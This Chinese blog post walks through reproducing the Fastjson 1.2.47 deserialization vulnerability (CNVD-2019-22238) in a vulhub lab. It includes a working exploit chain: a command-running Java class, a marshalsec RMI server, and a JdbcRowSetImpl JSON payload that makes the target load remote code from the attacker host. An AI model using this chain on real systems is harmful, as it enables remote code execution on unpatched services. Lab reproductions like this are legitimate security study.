栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

CNVD-2019-22238:Fastjson 1.2.47 反序列化漏洞复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CNVD-2019-22238:Fastjson 1.2.47 反序列化漏洞复现

读者需知

本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任

一、 简介

        Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列 化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

        Fastjson提供了autotype功能,允许用户在反序列化数据中通过"@type"指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流 程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的"Gadget"),则会造成一些严重的安全问题。

二、 影响版本

Fastjson1.2.47 <= 1.2.47

三、复现步骤

本文复现环境为攻击机kali(234),目标机为ubuntu(154)

1、环境搭建

环境搭建利用vulhub中的对应环境进行复现

然后

docker-compose up -d

进行环境搭建

2、创建一个java文件,并对其进行编译

#TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

3、编译完成后,class所在目录下起一个python服务

python3 -m http.server 1111

4、然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

mvn clean package -DskipTests

如果安装过程中出现

请参考我上一篇文章解决

装好之后,进入target目录运行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx.xxx.xxx.234:1111/#TouchFile" 9999

5、目标机发送请求包

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx.xxx.xxx.234:9999/TouchFile",
        "autoCommit":true
    }
 
}

6、查看响应结果

到此,即复现成功

四、 风险危害

任意文件上传

shell后门连接

管理员权限获取

五、排查建议

更新到最新版本

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/769713.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号